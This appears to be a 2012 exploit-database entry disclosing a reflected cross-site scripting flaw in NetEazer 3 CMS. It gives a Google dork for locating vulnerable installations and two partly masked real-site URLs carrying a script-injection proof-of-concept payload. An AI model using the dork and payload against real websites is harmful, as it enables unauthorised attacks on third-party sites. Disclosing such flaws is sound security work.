NetEazer 3 CMS Cross Site Scripting

2012.08.26
Credit: Crim3R
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

############# # Exploit Title: NetEazer 3 cms Cross Site Scipting Vulnerability # # Google Dork: intext:" Powered by NetEazer 3" # # Date: 08/24/2012 # # Author: Crim3R # # Tested on: all # ############# ======================================== http://www.floorXXXXall.org/news.asp?id_tiedote=1737"><script>alert(0);</script> http://windows3.XXXXXXXXXXXXXXXXXXXXXXXXX.net/news.asp?kieli=826&tyyppi=vanhat&id_tiedote=2610"><script>alert(0);</script> ===============Crim3R@Att.Net=========== $home = %00 thanks to : 2MzRp - Mikili - 0x0ptim0us - iC0d3R - farbodmahini & Amir


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top